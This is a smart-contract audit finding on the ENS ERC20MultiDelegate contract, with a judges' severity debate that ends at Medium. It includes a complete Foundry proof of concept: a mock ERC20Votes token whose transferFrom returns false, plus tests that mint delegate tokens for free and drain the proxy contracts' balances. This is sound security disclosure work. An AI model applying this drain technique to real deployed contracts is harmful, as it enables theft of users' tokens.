Some tokens enable the direct draining of all approved ERC20Votes tokens

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L148
https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L160
https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L170
https://github.com/code-423n4/2023-10-ens/blob/main/contracts/ERC20MultiDelegate.sol#L101-L115

Vulnerability details

Forenote

There's an appropriately invalidated finding found by the bots during the bot-race about the unsafe use of transferFrom on non-standard ERC20 tokens: bot-report.md#d24-unsafe-use-of-erc20-transfertransferfrom. The finding is mostly invalid because, here, we're using ERC20Votes tokens, not ERC20 ones, hence the mentioned tokens like USDT aren't good arguments. I would like to argue, however, that the recommendation that would've been true here would be to wrap the transferFrom calls in a require statement, as the transferFrom functions used in ERC20Votes are still from the inherited ERC20 interface and therefore could be returning a boolean (transferFrom(address from, address to, uint256 amount) returns bool, see OpenZeppelin's implementation) instead of reverting, depending on the existence of such an ERC20Votes token. The assumption of an ERC20Votes token returning true or false instead of reverting will therefore be used in this argumentation and be considered a possibility, especially since the list of potential ERC20Votes tokens used by this contract isn't specified (ENSToken isn't enforced). Also, see these posts from the Discord channel:

Question by J4X — Hey @nickjohnson , are we correct to assume that this will only be deployed on ethereum?

Answer by nickjohnson — By us, yes, but consider the goal of the audit to be against any wrapped erc20votes token, not just $ens

About this finding

This finding is the second one in a series of 2 findings using a similar set of arguments, but the first is used here as a chain:

1. Some tokens break accounting by enabling the free minting of ERC20MultiDelegate tokens
2. Some tokens enable the direct draining of all approved ERC20Votes tokens

Some parts are similar between the two findings, but because they each deserved their own analysis and "should fix"-argumentation, they are submitted as separate findings.

Impact

Draining all ERC20Votes tokens.

Proof of Concept

Starting assumptions

The token used as ERC20Votes returns the boolean false with transferFrom instead of reverting (Not very likely implementation but still a possible and damaging edge-case).

MockERC20Votes contract

The following test/mocks/MockERC20Votes.sol file is a simplified ERC20Votes token that wraps the original transferFrom() function to return a bool instead of reverting:

pragma solidity ^0.8.2;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
import "forge-std/console.sol";

contract MockERC20Votes is ERC20, ERC20Votes {
    constructor()
        ERC20("MockERC20Votes", "MOCK")
        ERC20Permit("MockERC20Votes")
    {
        _mint(msg.sender, 1e30);
    }

    function superTransferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        return super.transferFrom(sender, recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        (bool success, bytes memory data) = address(this).delegatecall(
            abi.encodeCall(
                MockERC20Votes.superTransferFrom,
                (sender, recipient, amount)
            )
        );

        console.log("success: ", success);

        return success;
    }

    // The following functions are overrides required by Solidity.

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20, ERC20Votes) {
        super._afterTokenTransfer(from, to, amount);
    }

    function _mint(
        address to,
        uint256 amount
    ) internal override(ERC20, ERC20Votes) {
        super._mint(to, amount);
    }

    function _burn(
        address account,
        uint256 amount
    ) internal override(ERC20, ERC20Votes) {
        super._burn(account, amount);
    }
}

The tests test_transferFromReturningTrue and test_transferFromReturningFalse are provided to showcase an example implementation of an ERC20Votes token that, instead of reverting, would return a boolean success == false. The reason for such a token's existence won't be discussed as the sheer possibility of its existence is the only argument that is of interest to us (and demands from customers are sometimes surprising). As yet again another reminder: the "standard" is still respected in this argumentation.

Foundry Setup

Add require("@nomicfoundation/hardhat-foundry") in hardhat.config.js and run this to be able to run the POC:

npm install --save-dev @nomicfoundation/hardhat-foundry
npx hardhat init-foundry

Test contract

1. Create a test/delegatemulti.t.sol file containing the code below and focus on test_directDraining():

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.2;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "test/mocks/MockERC20Votes.sol";
import "contracts/ERC20MultiDelegate.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract DelegateCallTest is IERC1155Receiver, Test {
    address alice = makeAddr("Alice");
    address bob = makeAddr("Bob");
    MockERC20Votes votesToken;
    ERC20MultiDelegate delegateToken;
    address proxyAddress1;
    address proxyAddress2;
    address proxyAddress3;

    function setUp() public {
        // Deploying the tokens
        votesToken = new MockERC20Votes();
        delegateToken = new ERC20MultiDelegate(
            votesToken,
            "https://code4rena.com/"
        );

        // Giving some votesToken to Alice and Bob
        votesToken.transfer(alice, 5);
        votesToken.transfer(bob, 4);

        // Initializing the ERC20MultiDelegate token with the first delegateMulti call
        uint256[] memory initialSources; // No sources initially, just creating proxies and transferring votesToken
        uint256[] memory initialTargets = new uint256[](3);
        initialTargets[0] = 1;
        initialTargets[1] = 2;
        initialTargets[2] = 3;
        uint256[] memory initialAmounts = new uint256[](3);
        initialAmounts[0] = 0;
        initialAmounts[1] = 10;
        initialAmounts[2] = 20;
        votesToken.approve(address(delegateToken), type(uint256).max);
        delegateToken.delegateMulti(
            initialSources,
            initialTargets,
            initialAmounts
        );
        proxyAddress1 = retrieveProxyContractAddress(address(uint160(1)));
        proxyAddress2 = retrieveProxyContractAddress(address(uint160(2)));
        proxyAddress3 = retrieveProxyContractAddress(address(uint160(3)));

        // Making sure that the deployer's balance of ERC20MultiDelegate tokens matches the deployed proxies' balance.
        assertEq(
            votesToken.balanceOf(proxyAddress1),
            delegateToken.balanceOf(address(this), 1)
        );
        assertEq(
            votesToken.balanceOf(proxyAddress2),
            delegateToken.balanceOf(address(this), 2)
        );
        assertEq(
            votesToken.balanceOf(proxyAddress3),
            delegateToken.balanceOf(address(this), 3)
        );

        // Alice approving ERC20MultiDelegate for her ERC20Votes tokens
        vm.prank(alice);
        votesToken.approve(address(delegateToken), type(uint256).max);
    }

    // Bug 1: Some tokens break accounting by enabling the free minting of `ERC20MultiDelegate` tokens
    function test_freeMinting() public {
        /* Showing the initial conditions through asserts */
        // proxyAddress1 has 0 votesToken
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        // Alice has 5 voteTokens
        assertEq(votesToken.balanceOf(alice), 5);
        // Alice has 0 ERC20MultiDelegate tokens for ID(1)
        assertEq(delegateToken.balanceOf(alice, 1), 0);

        /* Begin minting for free */
        vm.startPrank(alice);
        uint256[] memory sources;
        // Alice is targeting existing and non-existing proxies
        uint256[] memory targets = new uint256[](7);
        targets[0] = 1;
        targets[1] = 2;
        targets[2] = 3;
        targets[3] = 4;
        targets[4] = 5;
        targets[5] = 6;
        targets[6] = 7;
        // Alice is using an arbitrary amount, exceeding the proxies' balances
        uint256[] memory amounts = new uint256[](7);
        amounts[0] = 100;
        amounts[1] = 100;
        amounts[2] = 100;
        amounts[3] = 100;
        amounts[4] = 100;
        amounts[5] = 100;
        amounts[6] = 100;
        // Making the call, not reverting
        delegateToken.delegateMulti(sources, targets, amounts);
        vm.stopPrank();

        /* Showing the final balances */
        // There still aren't any ERC20Votes balance for proxyAddress1
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        // Alice's ERC20Votes balance stayed the same
        assertEq(votesToken.balanceOf(alice), 5);
        // However, ERC20MultiDelegate balances for IDs between 1 and 7 increased for Alice, effectively breaking accounting
        assertEq(delegateToken.balanceOf(alice, 1), 100);
        assertEq(delegateToken.balanceOf(alice, 2), 100);
        assertEq(delegateToken.balanceOf(alice, 3), 100);
        assertEq(delegateToken.balanceOf(alice, 4), 100);
        assertEq(delegateToken.balanceOf(alice, 5), 100);
        assertEq(delegateToken.balanceOf(alice, 6), 100);
        assertEq(delegateToken.balanceOf(alice, 7), 100);
    }

    // Bug 2: Some tokens enable the direct draining of all approved `ERC20Votes` tokens
    function test_directDraining() public {
        /* Showing the initial conditions through asserts */
        // Proxies' votesToken balance
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        assertEq(votesToken.balanceOf(proxyAddress2), 10);
        assertEq(votesToken.balanceOf(proxyAddress3), 20);
        // Alice's votesToken balance (from setUp())
        assertEq(votesToken.balanceOf(alice), 5);
        // Alice's delegateToken balance for each ID is initially 0
        assertEq(delegateToken.balanceOf(alice, 1), 0);
        assertEq(delegateToken.balanceOf(alice, 2), 0);
        assertEq(delegateToken.balanceOf(alice, 3), 0);

        /* Begin minting for free */
        vm.startPrank(alice);
        uint256[] memory sourcesStep1;
        uint256[] memory targetsStep1 = new uint256[](3);
        targetsStep1[0] = 1;
        targetsStep1[1] = 2;
        targetsStep1[2] = 3;
        uint256[] memory amountsStep1 = new uint256[](3);
        amountsStep1[0] = 100;
        amountsStep1[1] = 100;
        amountsStep1[2] = 100;
        delegateToken.delegateMulti(sourcesStep1, targetsStep1, amountsStep1);
        assertEq(delegateToken.balanceOf(alice, 1), 100);
        assertEq(delegateToken.balanceOf(alice, 2), 100);
        assertEq(delegateToken.balanceOf(alice, 3), 100);

        /* Using newly-minted amounts to drain proxies */
        uint256[] memory targetsStep2;
        uint256[] memory sourcesStep2 = new uint256[](3);
        sourcesStep2[0] = 1;
        sourcesStep2[1] = 2;
        sourcesStep2[2] = 3;
        uint256[] memory amountsStep2 = new uint256[](3);
        amountsStep2[0] = 0;
        amountsStep2[1] = 10;
        amountsStep2[2] = 20;
        delegateToken.delegateMulti(sourcesStep2, targetsStep2, amountsStep2);

        /* Showing the final balances */

        // Proxies are drained
        assertEq(votesToken.balanceOf(proxyAddress1), 0);
        assertEq(votesToken.balanceOf(proxyAddress2), 0);
        assertEq(votesToken.balanceOf(proxyAddress3), 0);

        // Alice's votesToken balance is now "InitialBalance + balances from proxies"
        assertEq(votesToken.balanceOf(alice), 5 + 10 + 20);

        // Alice really did use her fake ERC20MultiDelegate balance
        assertEq(delegateToken.balanceOf(alice, 1), 100);
        assertEq(delegateToken.balanceOf(alice, 2), 90);
        assertEq(delegateToken.balanceOf(alice, 3), 80);

        vm.stopPrank();
    }

    /** BELOW ARE JUST UTILITIES */

    // Making sure that the MockERC20Votes returns false instead of reverting on failure for transferFrom
    function test_transferFromReturningFalse() public {
        // If you don't approve yourself, transferFrom won't be directly callable
        vm.prank(bob);
        bool success = votesToken.transferFrom(alice, bob, 5);
        assertEq(success, false);
    }

    // Making sure that the MockERC20Votes returns true on success for transferFrom
    function test_transferFromReturningTrue() public {
        // There's a need to approve yourself for a direct call to transferFrom(), surprisingly
        vm.startPrank(alice);
        votesToken.approve(alice, type(uint256).max);
        bool success = votesToken.transferFrom(alice, bob, 5);
        vm.stopPrank();
        assertEq(success, true);
    }

    // copy-pasting and adapting ERC20MultiDelegate.retrieveProxyContractAddress
    function retrieveProxyContractAddress(
        address _delegate
    ) private view returns (address) {
        bytes memory bytecode = abi.encodePacked(
            type(ERC20ProxyDelegator).creationCode,
            abi.encode(votesToken, _delegate)
        );
        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff),
                address(delegateToken),
                uint256(0), // salt
                keccak256(bytecode)
            )
        );
        return address(uint160(uint256(hash)));
    }

    // No need to read below (IERC1155Receiver implementation)
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC1155Receiver.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC1155Receiver.onERC1155BatchReceived.selector;
    }

    // ERC165 interface support
    function supportsInterface(
        bytes4 interfaceID
    ) external view returns (bool) {
        return
            interfaceID == 0x01ffc9a7 || // ERC165
            interfaceID == 0x4e2312e0; // ERC1155_ACCEPTED ^ ERC1155_BATCH_ACCEPTED;
    }
}

2. Run the test with forge test --mt test_directDraining and see this test passing

Here the layout of what's happening (the first 3 steps are like "Bug1: test_freeMinting"):

1. Initially, Alice owns some ERC20Votes tokens (5) but no ERC20MultiDelegate tokens
2. Alice calls delegateMulti() by targeting existing IDs on ERC20MultiDelegate and inputting amount == 100 for each of them
3. The lack of revert (as a reminder, the transferFrom() function in this example returns a boolean) makes it that the silent failure enables Alice to mint any amount on any ID on ERC20MultiDelegate
4. Alice can now use her newly minted balance of ERC20MultiDelegate tokens by calling delegateMulti(), with this time the deployed proxy contracts as sources
5. All ERC20Votes tokens got drained from all deployed proxies and were transferred to Alice

Here we're both breaking accounting (bug1) and taking advantage of approved funds to the main contract by the deployed proxies to drain all ERC20Votes tokens.

Again, this contract's security shouldn't depend on the behavior of an external ERC20Votes contract (it leaves vectors open), hence this is a "Should fix" bug, meaning at least Medium severity. The token-draining part makes an argument for a higher severity, hence the submission as High Severity.

Remediation

While wrapping the transferFrom() statements in a require statement is a good idea that was suggested in the previous bug, it would also be advisable to try and enforce an invariant by checking for the source's balance inside _reimburse(), just like it is done inside _processDelegation() (albeit, there, it's for the ERC20MultiDelegate's internal balance, and not ERC20Votes's external balance check. The principle still holds and adding a check would increase security. Note that, while the existing assert() can be sidestepped, and this is detailed in another finding, it wouldn't be the case with ERC20Votes's external balance due to the immediate transfer)

Assessed type

Token-Transfer

[141345]

return false of transferFrom()

from eip-20

Callers MUST handle false from returns (bool success). Callers MUST NOT assume that false is never returned!

token should comply with ERC20votes standard, but revert on failure is not ERC20 standard.

#90 is similar to this one, so combine.

[c4-pre-sort]

141345 marked the issue as primary issue

[c4-pre-sort]

141345 marked the issue as sufficient quality report

[c4-judge]

hansfriese marked the issue as not a duplicate

[c4-judge]

hansfriese changed the severity to 3 (High Risk)

[c4-judge]

hansfriese marked the issue as primary issue

[c4-judge]

hansfriese marked the issue as selected for report

[Arachnid]

Why has this been recategorised as high? As discussed elsewhere, there are no known implementations of erc20votes that return rather than revert, so this is not exploitable. In my mind that makes it a medium.

[Arachnid]

@hansfriese you agreed with medium here: #91 (comment)

[hansfriese]

@Arachnid
I agree that it falls between High and Medium. Following a discussion on this submission, I decided to split it into 2 impacts.

1. High - Drain funds from the proxy contract due to unsafe ERC20.transfer.
2. Medium - Unexpected behavior of unsafe transfer.
   This discussion would be helpful to understand the context.

[Arachnid]

I don't understand how you think this can be high when you'd have to use it with a token contract that presently doesn't exist in order for it to be exploitable.

[Arachnid]

For #2, I'm not sure I understand what distinction you are drawing here. What's the "unexpected behaviour" being referred to that isn't covered by #1?

[midori-fuse]

I don't understand how you think this can be high when you'd have to use it with a token contract that presently doesn't exist in order for it to be exploitable.

I shared the same view when I participated in the audit contest. Here's a line of reasoning that can convince me about the high impact.

The contract is expected to work against the ERC20 standard itself, not just the ENS token. The ERC20 standard only states that failed transfer should throw, but not a must. Thereby the contract should be evaluated against the ERC20 standard itself, and not just tokens currently in existence.

The reason this is high severity is because future tokens that correctly follows ERC20 standards will have this issue when integrating with the multi-delegate token. The likelihood of this happening is not randomized or probabilistic by nature, and we would not want an audited code that is expected to work with ERC20 standards to be in use but actually not work on ERC20-compliant tokens.

Had the scope of the contest being on ENS token only, I would agree that this is QA (invalid, even).

I agree with the skepticism about dividing impacts though, this is quite a hard thing to consider. Although I will respect the judge's decision regardless.

[d3e4]

The possibility of this issue materializing is still an external requirement, and not a direct risk. That is the characterization of Medium. Furthermore, it is highly unlikely.

It also boils down to the ambiguity of which tokens this is intended to support. As quoted in this report @Arachnid said it should support "wrapped ERC20Votes tokens". What did you mean by this? If you meant the actual ERC20Votes by OpenZeppelin, then this issue is invalid. ERC20Votes is not a standard, so I don't think one can conclude from this that the supported tokens must be ERC20 compliant. In fact ERC20 tokens are explicitly not supported by the contract; they must have a voting delegation functionality which transfers voting power on token transfer, which is not ERC20. Therefore it doesn't make sense to simply say that the contract should be ERC20 compliant. The supported tokens are either to be wrapped ERC20Votes tokens, which DO revert on failure, or else it is not clear what tokens are supported.

[JustDravee]

I feel like the same debate is being transposed here. Everything important was said under the long thread here in the 48h we had to debate about it: #697 (comment)

And it feels like, every time, the last person talking thinks their point will win, which is making this get out of hand. As a reminder, the post-judging QA period has ended 16 hours ago. Unless the judge or sponsor specifically ask for more information, I'd advise wardens against pursuing the matter or answering/asking questions here any further.

Whatever happens, we should be fine with it, the judge is doing his best in the middle of all our different point of views and with this particular scenario. Given https://docs.code4rena.com/awarding/fairness-and-validity#expectations-of-participants and #697 (comment), ultimately it may be a matter of the judge's personal thoughts of what feels right given C4's own rules:

Judges should be impartial and free to act independently to do what they see best in a given contest within the guidelines they are provided.

Reminders
[...]
C4 judges have final authority in determining validity and severity.

[hansfriese]

For #2, I'm not sure I understand what distinction you are drawing here. What's the "unexpected behaviour" being referred to that isn't covered by #1?

There are two impacts to consider here:

• Steal funds from proxy/other users by manipulating the delegation balances
• Free minting of ERC20MultiDelegate tokens without further impacts

After talking it over with another judge, we agreed to categorize them as two separate impacts. Based on your comment and the severity classification (C4), it seems reasonable to label this as High as the No Revert on Failure assumption is not that unrealistic.

Your comment - By us, yes, but consider the goal of the audit to be against any wrapped erc20votes token, not just $ens

C4 Severity Categorization - 3 — High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).

[Arachnid]

There are two impacts to consider here:

• Steal funds from proxy/other users by manipulating the delegation balances
• Free minting of ERC20MultiDelegate tokens without further impacts

Aren't these the same thing? The latter enables the former.

Based on your comment and the severity classification (C4), it seems reasonable to label this as High as the No Revert on Failure assumption is not that unrealistic.

Your comment - By us, yes, but consider the goal of the audit to be against any wrapped erc20votes token, not just $ens

Can you cite any erc20votes token implementations that behave this way? If not, that seems like a "hand-wavy hypothetical" that warrants downgrading to medium.

[hansfriese]

Alright. I understand. My primary goal was to separate them into two different impacts. If you insist, I'll decrease the severity of this one to a Medium level. Moreover, #90 will be downgraded to QA.

[c4-judge]

hansfriese changed the severity to 2 (Med Risk)